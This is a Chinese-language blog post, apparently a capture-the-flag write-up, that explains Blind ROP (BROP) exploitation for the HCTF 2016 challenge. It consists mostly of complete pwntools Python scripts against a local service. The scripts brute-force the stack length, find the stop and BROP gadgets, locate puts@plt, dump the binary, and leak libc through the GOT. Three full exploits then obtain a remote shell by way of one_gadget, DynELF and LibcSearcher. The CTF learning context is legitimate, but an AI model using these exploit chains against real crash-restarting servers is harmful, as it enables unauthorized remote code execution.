由BROP引出来的骚操作

写在前面

今天,本萌新正在看BROP的一道经典例题,Hctf-2016 出题人失踪了,然后就学到了很多骚思路。真滴是,拖云从龙去又回,无心却似有心来。

BROP

简而言之,就是不给二进制文件和源码,盲打。通常程序为64位,我查了查还没发现32位的例子。
攻击前提:

源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。

攻击思路:

1
2
3
4
5
6
1.爆破栈长度和canary的值
2.寻找stop_gadget,即start,main的gadget
3.寻找pop_rdi的gadget,pop rdi;ret 的地址就是 brop_gadget + 9
4.寻找puts_plt的地址
5.dump下二进制文件的一部分 0x400000 - 0x401000
6.泄露puts_got的内容,获得libc的内存信息,最后构造payload拿shell

首先连上去看了看程序的运行。

1
2
3
4
5
6
WelCome my friend,Do you know password?
a
No password, no game
a
a
a

然后,然后我就开始套脚本了

爆破栈长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*
def getsize():
i = 1
while 1:
try:
p = remote('127.0.0.1',10000)
p.recvuntil("WelCome my friend,Do you know password?\n")
p.send(i*'a')
data = p.recv()
p.close()
if not data.startswith('No password'):
return i-1
else:
i+=1
except EOFError:
p.close()
return i-1

size = getsize()
print "size is [%s]"%size

寻找stop_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
'''
find a gadget return main function
'''
def get_stop():
addr = 0x400000
f = open('1.txt','w')
while 1:
sleep(0.1)
addr += 1
try:
print hex(addr)
p = remote('127.0.0.1',10000)
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = 'a'*72 + p64(addr)
p.sendline(payload)
data = p.recv()
p.close()
if data.startswith('WelCome'):
print "main funciton-->[%s]"%hex(addr)
pause()
return addr
else:
print 'one success addr : 0x%x'%(addr)
except EOFError as e:
p.close()
log.info("bad :0x%x"%addr)
except:
log.info("can't connect")
addr -= 1

data = get_stop()
print hex(data)

寻找brop_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
def get_brop_gadget(length,stop_gadget,addr):
try:
p = remote('127.0.0.1',10000)
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = 'a'*length + p64(addr) + p64(0)*6 + p64(stop_gadget) + p64(0)*10
p.sendline(payload)
content = p.recv()
p.close()
print content
if not content.startswith('WelCome'):
return False
return True
except Exception:
p.close()
return False

def check_brop_gadget(length,addr):
try:
p = remote('127.0.0.1',10000)
p.recvuntil("password?\n")
payload = 'a'*length + p64(addr) + 'a'*8*10
p.sendline(payload)
content = p.recv()
p.close()
return False
except Exception:
p.close()
return True

length = 72
stop_gadget = 0x4005c0
addr = 0x400750
while 1:
print hex(addr)
if get_brop_gadget(length,stop_gadget, addr):
print "possible stop_gadget :0x%x"%addr
if check_brop_gadget(length,addr):
print "success brop gadget:0x%x"%addr
f.write("success brop gadget :0x%x"%addr + "\n")
break
addr += 1

寻找puts的plt地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import*

def get_puts(length,rdi_ret,stop_gaddet):
addr = 0x400000
while 1:
print hex(addr)
p = remote('127.0.0.1',10000)
p.recvuntil('password?\n')
payload = 'a'*length + p64(rdi_ret) + p64(0x400000)+p64(addr) + p64(stop_gadget)
p.sendline(payload)
try:
content = p.recv()
if content.startswith('\x7fELF'):
print 'find puts@plt addr : 0x%x'%addr
return addr
p.close()
addr+=1
except Exception:
p.close()
addr+=1

length = 72
rdi_ret = 0x4007ba + 0x9
stop_gadget = 0x4005c0
puts = get_puts(length,rdi_ret,stop_gadget)

利用puts给0x400000到0x401000dump下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import*
'''
dump the bin file
'''
def leak(length,rdi_ret,puts_plt,leak_addr,stop_gadget):
p = remote('127.0.0.1',10000)
payload = 'a'*length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
p.recvuntil('password?\n')
p.sendline(payload)
try:
data = p.recv(timeout = 0.1)
p.close()
try:
data = data[:data.index("\nWelCome")]
except Exception:
data = data
if data =="":
data = '\x00'
return data
except Exception:
p.close()
return None

length = 72
stop_gadget = 0x4006b6
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
puts_plt = 0x400560
addr = 0x400000
result = ''
while addr < 0x401000:
print hex(addr)
data = leak(length,rdi_ret,puts_plt,addr,stop_gadget)
if data is None:
addr += 1
continue
else:
result += data
addr += len(data)

with open('code1','wb') as f:
f.write(result)

然后在IDA中编辑,更新设置基址为0x400000
在 0x400555 处,摁下 c 识别成汇编格式,可以看到 jmp 的地址是:601018h即puts的got地址

骚操作从这里开始

one_gadget

泄露偏移后找到libc库版本,用这个工具直接找出execve(“/bin/sh”,..,environ)的gadget,直接返回到这个地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import*
context.log_level = "debug"
p = remote('127.0.0.1',10000)

puts_plt = 0x400560
puts_got = 0x601018
brop_gadget = 0x4007ba
stop_gadget = 0x4005c0
rdi_ret = brop_gadget + 9
payload = 'a'*72 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
p.recvuntil("password?\n")
p.sendline(payload)
data = p.recv(6).ljust(8,'\x00')
p.recv()
puts_addr = u64(data)
print "puts address :0x%x"%puts_addr
libc_base = puts_addr - 0x000000000006f690

'''
system = libc_base + 0x0000000000045390
binsh = libc_base + 0x18cd57
'''
gadget = 0x4526a
one_gadget = gadget + libc_base
#payload = 'a'*72 + p64(rdi_ret) + p64(binsh) + p64(system) + p64(stop_gadget)
payload = 'a'*72 + p64(one_gadget) + p64(stop_gadget)
p.sendline(payload)
p.interactive()

DynELF泄露地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
##length = get_puts()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
p = remote('127.0.0.1',10000)

def leak(address):
data = ""
c=""
up = ""
payload = 'a' * length + p64(rdi_ret) + p64(address) + p64(puts_plt) + p64(stop_gadget)
p.recvuntil('password?\n')
p.send(payload)
while True:
c = p.recv(1)
if up == '\n' and c == "W":
data = data[:-1]
data += "\x00"
break
else:
data += c
up = c
data=data[:4]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data

dynelf = DynELF(leak, elf=ELF("./rop"))
system_addr = dynelf.lookup("__libc_system", "libc")
print system_addr
p.interactive()

然后构造payload攻击拿到shell

LibcSearcher泄露地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
##length = getbufferflow_length()

length = 72

##stop_gadget = get_stop_addr(length)

stop_gadget = 0x4006b6

##brop_gadget = find_brop_gadget(length,stop_gadget)

brop_gadget = 0x4007ba

rdi_ret = brop_gadget + 9

##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)

puts_plt = 0x400560

##leakfunction(length, rdi_ret, puts_plt, stop_gadget)

puts_got = 0x601018


sh = remote('127.0.0.1', 10000)

sh.recvuntil('password?\n')

payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)

sh.sendline(payload)

data = sh.recvuntil('\nWelCome', drop=True)

puts_addr = u64(data.ljust(8, '\x00'))

libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')

system_addr = libc_base + libc.dump('system')

binsh_addr = libc_base + libc.dump('str_bin_sh')

payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)

sh.sendline(payload)

sh.interactive()

本文exp均整理于网上各个大佬的博客,真的是涨姿势!!!!!!!

  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2020 丰年de博客

请我喝杯咖啡吧~

支付宝
微信